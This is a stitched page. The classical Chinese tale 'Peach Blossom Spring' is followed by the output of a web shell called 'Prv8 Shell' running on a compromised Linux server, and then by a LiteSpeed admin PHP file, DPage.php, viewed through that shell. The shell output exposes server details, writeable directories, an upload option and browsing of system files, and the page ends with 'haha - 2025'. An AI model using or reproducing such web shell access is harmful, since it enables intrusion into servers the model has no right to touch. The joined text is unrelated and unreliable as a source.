晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/usr/local/lsws/admin/html/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/local/lsws/admin/html/classes/DPage.php
<?php

class DPage
{
	public $_type;//serv, vh, sl, admin
	public $_id;
	public $_name;
	public $_title;
	public $_helpLink;
	public $_tblIds;
	public $_includeScript;

	public function __construct($type, $id, $name, $title, $tblIds)
	{
		$this->_type = $type;
		$this->_id = $id;
		$this->_name = $name;
		$this->_title = $title;
		$this->_tblIds = $tblIds;
		$this->_helpLink = 'index.html';
	}

	public function PrintHtml(&$confData, $disp)
	{
		$viewTags = 'vbsDdBCiI';
		$editTags = 'eEaScn';
		$isEdit = ( strpos($editTags, $disp->_act) !== false );

		if ($disp->_act == 'd' || $disp->_act == 'i') {
			$this->printActionConfirm($disp);
		}

		if ($disp->_err != null) {
			echo GUIBase::message("", $disp->_err, "error");
		}

		$tblDef = DTblDef::GetInstance();
		if ($disp->_tid == null) {
			$tids = $this->_tblIds;
		} else {
			$tid = DUtil::getLastId($disp->_tid);
			$tids = array($tid);
		}
		$ref = DUtil::getLastId($disp->_ref);

		foreach ($tids as $ti) {
			$tbl = $tblDef->GetTblDef($ti);
			$isExtract = false;

			if ($disp->_act == 'a') {
				$d = [];
			} else if ($disp->_act == 'S' || $disp->_act == 'c' || $disp->_act == 'n') { //save failed or in change
				$isExtract = true;
				$d = &$confData;
			} else {
				$d = DUtil::locateData($confData, $tbl->_dataLoc, $disp->_ref);
			}
			if ($tbl->_holderIndex != null) {
				if ($disp->_act == 'e' || $disp->_act == 'E' || $disp->_act == 'a') {
					$disp->_info['holderIndex'] = is_array($d) ? array_keys($d) : null;
					$disp->_info['holderIndex_cur'] = $ref;
				}
				if (!$isExtract && $ref != null && substr($ti, -3) != 'TOP') {
					$d = &$d[$ref];
				}
			} else {
				$disp->_info['holderIndex'] = null;
			}
			echo "<div>";
			$tbl->PrintHtml($d, $ref, $disp, $isEdit);
			echo "</div>";

			if ($isEdit == false && $tbl->_linkedTbls != null && isset($tbl->_linkedTbls['disp'])) {
				foreach ($tbl->_linkedTbls['disp'] as $lti) {
					$linkedtbl = $tblDef->GetTblDef($lti);
					$dlinked = DUtil::locateData($d, $linkedtbl->_dataLoc);
					echo "<div>";
					$linkedtbl->PrintHtml($dlinked, $ref, $disp, false);
					echo "</div>";
				}
			}
		}
	}

	private function printActionConfirm($disp)
	{
		$hasB = (strpos($disp->_tid, '`') !== false );
		echo '<div class=message>';
		if ($disp->_act == 'd') {
			$actString = $hasB ? 'DC' : 'Dc';
			//should validate whether there is reference to this entry
			echo 'Are you sure you want to delete this entry?<br>' .
			'<span class="edit-link">' .
			$this->getActionLink($disp, $actString) . '</span>' .
			'<br>This will be permanently removed from the configuration file.';
		} elseif ($disp->_act == 'i') {
			$actString = $hasB ? 'IC' : 'Ic';
			echo 'Are you sure you want to instantiate this virtual host?<br>' .
			'<span class="edit-link">' .
			$this->getActionLink($disp, $actString) . '</span>' .
			'<br>This will create a dedicated configuration file for this virtual host.';
		}

		echo "</div>";
	}

	private function getActionLink($disp, $actions)
	{
		$buf = '';
		$allActions = ['D' => 'Yes', 'c' => 'Cancel', 'C' => 'Cancel', 'I' => 'Yes'];
		$chars = preg_split('//', $actions, -1, PREG_SPLIT_NO_EMPTY);
		foreach ($chars as $act) {
			$query_param = [
				'm' => $disp->_mid,
				'p' => $disp->_pid,
			];
			$t = '';
			$r = '';
			$buf .= '&nbsp;&nbsp;&nbsp;';
			$name = $allActions[$act];
			if ($act == 'b' || $act == 'c') {
				$act = 'b';
			} elseif (strpos('vEdDCBiI', $act) !== false) {
				if ($act == 'C') {
					$act = 'B';
				}

				$t = $disp->_tid;
				$r = $disp->_ref;
			}
			if ($t) {
				$query_param['t'] = $t;
			}
			if ($r) {
				$query_param['r'] = $r;
			}

			$query_param['a'] = $act;
			$query_param['tk'] = $disp->_token;

			$buf .= '<a href="' . $disp->_ctrlUrl . http_build_query($query_param) . '">' . $name . '</a>';
		}
		return $buf;
	}

}


haha - 2025